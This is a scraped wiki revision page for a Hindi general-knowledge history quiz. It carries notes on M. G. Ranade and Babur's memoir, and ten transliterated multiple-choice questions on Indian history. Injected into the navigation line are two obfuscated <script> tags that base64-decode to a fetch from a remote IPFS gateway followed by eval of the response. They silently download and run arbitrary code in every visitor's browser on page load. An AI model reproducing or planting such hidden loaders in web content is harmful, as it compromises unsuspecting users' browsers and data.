Difference between revisions of "इतिहास सामान्य ज्ञान 59"

भारत डिस्कवरी प्रस्तुति
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-[[स्वामी सहजानंद सरस्वती]]
 
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||[[चित्र:M-g-ranade.jpg|right|100px|महादेव गोविन्द रानाडे]]'महादेव गोविन्द रानाडे' [[भारत]] के प्रसिद्ध राष्ट्रवादी, समाज सुधारक, विद्वान और न्यायविद थे। उन्होंने विभिन्न प्रकार के समाज सुधार के कार्यों में बढ़-चढ़ कर हिस्सा लिया था। [[प्रार्थना समाज]], [[आर्य समाज]] और [[ब्रह्म समाज]] का [[महादेव गोविन्द रानाडे]] के जीवन पर बहुत प्रभाव था। प्रार्थना समाज के मंच से रानाडे ने [[महाराष्ट्र]] में अंधविश्वास और हानिकारक रूढ़ियों का जमकर विरोध किया था। [[धर्म]] में उनका अंधविश्वास नहीं था। वे मानते थे कि देश काल के अनुसार धार्मिक आचरण बदलते रहते हैं। उन्होंने स्त्री शिक्षा का प्रचार किया। वे '[[बाल विवाह]]' के कट्टर विरोधी और 'विधवा विवाह' के समर्थक थे। इसके लिए उन्होंने एक समिति 'विधवा विवाह मण्डल' की स्थापना भी की थी। महादेव गोविन्द रानाडे 'दकन एजुकेशनल सोसायटी' के संस्थापकों में भी प्रमुख थे।{{point}}अधिक जानकारी के लिए देखें:-[[महादेव गोविन्द रानाडे]]
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||[[चित्र:M-g-ranade.jpg|right|100px|महादेव गोविन्द रानाडे]]'महादेव गोविन्द रानाडे' [[भारत]] के प्रसिद्ध राष्ट्रवादी, समाज सुधारक, विद्वान और न्यायविद थे। उन्होंने विभिन्न प्रकार के समाज सुधार के कार्यों में बढ़-चढ़ कर हिस्सा लिया था। [[प्रार्थना समाज]], [[आर्य समाज]] और [[ब्रह्म समाज]] का [[महादेव गोविन्द रानाडे]] के जीवन पर बहुत प्रभाव था। प्रार्थना समाज के मंच से रानाडे ने [[महाराष्ट्र]] में अंधविश्वास और हानिकारक रूढ़ियों का जमकर विरोध किया था। [[धर्म]] में उनका अंधविश्वास नहीं था। वे मानते थे कि देश काल के अनुसार धार्मिक आचरण बदलते रहते हैं। उन्होंने स्त्री शिक्षा का प्रचार किया। वे '[[बाल विवाह]]' के कट्टर विरोधी और '[[विधवा विवाह]]' के समर्थक थे। इसके लिए उन्होंने एक समिति 'विधवा विवाह मण्डल' की स्थापना भी की थी। महादेव गोविन्द रानाडे 'दकन एजुकेशनल सोसायटी' के संस्थापकों में भी प्रमुख थे।{{point}}अधिक जानकारी के लिए देखें:-[[महादेव गोविन्द रानाडे]]
  
 
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||[[चित्र:Babarnama-hindi.jpg|right|100px|तुज़्क-ए-बाबरी]]'तुज़्क-ए-बाबरी' अथवा '[[बाबरनामा]]' [[भारत]] में [[मुग़ल साम्राज्य]] के संस्थापक [[बाबर]] की आत्मलिखित जीवनी है। बाबर ने इस कृति की रचना तुर्की भाषा में की थी। बाद के समय में बाबर के पोते [[अकबर]] ने 1583 ई. में [[अब्दुर्रहीम ख़ानख़ाना]] द्वारा '[[तुज़्क-ए-बाबरी]]' का [[फ़ारसी भाषा]] में अनुवाद करवाया। यह पुस्तक [[भारत]] की 1504 से 1529 ई. तक की राजनीतिक एवं प्राकृतिक स्थिति पर वर्णनात्मक प्रकाश डालती है। पुस्तक में [[बाबर]] लिखता है कि- "हिन्दुस्तान की सबसे बड़ी विशेषता यह है कि यह एक विशाल देश है। इसमें [[सोना|सोने]] और [[चाँदी]] की अधिकता है। यहाँ [[वर्षा]] के दिनों में जलवायु अच्छी रहती है।" वह यह भी लिखता है कि- "उसे यह देखकर बड़ा आश्चर्य हुआ कि भारत में जरा देर में ही गाँव बस जाते है और उजड़ जाते हैं।"{{point}}अधिक जानकारी के लिए देखें:-[[तुजुक-ए-बाबरी]]
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||[[चित्र:Babarnama-hindi.jpg|right|100px|तुज़्क-ए-बाबरी]]'तुज़्क-ए-बाबरी' अथवा '[[बाबरनामा]]' [[भारत]] में [[मुग़ल साम्राज्य]] के संस्थापक [[बाबर]] की आत्मलिखित जीवनी है। बाबर ने इस कृति की रचना तुर्की भाषा में की थी। बाद के समय में बाबर के पोते [[अकबर]] ने 1583 ई. में [[अब्दुर्रहीम ख़ानख़ाना]] द्वारा '[[तुज़्क-ए-बाबरी]]' का [[फ़ारसी भाषा]] में अनुवाद करवाया। यह पुस्तक [[भारत]] की 1504 से 1529 ई. तक की राजनीतिक एवं प्राकृतिक स्थिति पर वर्णनात्मक प्रकाश डालती है। पुस्तक में [[बाबर]] लिखता है कि- "हिन्दुस्तान की सबसे बड़ी विशेषता यह है कि यह एक विशाल देश है। इसमें [[सोना|सोने]] और [[चाँदी]] की अधिकता है। यहाँ [[वर्षा]] के दिनों में जलवायु अच्छी रहती है।" वह यह भी लिखता है कि- "उसे यह देखकर बड़ा आश्चर्य हुआ कि भारत में जरा देर में ही गाँव बस जाते है और उजड़ जाते हैं।"{{point}}अधिक जानकारी के लिए देखें:-[[तुज़्क-ए-बाबरी]]
 
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Revision as of 13:48, 7 December 2014

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

1 'akhil bharatiy tred yooniyan kaangres' ke pratham adhyaksh kaun the?

bal gangadhar tilak
lala lajapat ray
vipinachandr pal
arabindo ghosh

2 'strechi ayog' nimnalikhit mean se kisase sambandhit tha?

varnakyoolar pres ekt se
shiksha se
sthaniy svayatt shasan se
akal se

3 nimnalikhit mean se kisane 'vidhava vivah mandal' ki sthapana ki thi?

gopal krishna gokhale
vi. di. savarakar
em. ji. ranade
svami sahajanand sarasvati

4 kis sthan par 'varnakyoolar pres ekt' lagoo nahian hua tha?

kolakata
mumbee
chennee
haidarabad

5 samachar patroan ke itihas mean nimn mean se kaun-sa akhabar british sarakar ka samarthak aur bharatiyoan ka alochak tha?

payaniyar
stetsamain
hindustan staindars
uparokt mean se koee nahian

6 vah kaangres presideant kaun tha, jisane 1942 mean krips ke sath shimala kaanfreans mean l aaurd vevel ke sath varta ki?

javaharalal neharoo
je. bi. kripalani
si. rajagopalachari
abul kalam azad

7 purtagaliyoan ne bharat ka pratham pritiang pres kahaan par sthapit kiya?

soorat
gova
mumbee
kalikat

8 bharat ka pratham shramik sangh 'bambee mil haind esosieshan' kab sthapit hua tha?

1894 ee.
1874 ee.
1884 ee.
1904 ee.

9 kis itihasakar ne haldi ghati yuddh ka aankhoan dekha varnan kiya hai?

nizamuddin ahamad
amir khusaro
abul fazal
abdul kadir badayooanni

10 'tuzk-e-babari' kis bhasha ki rachana hai?

urdoo bhasha
arabi bhasha
turki bhasha
farasi bhasha

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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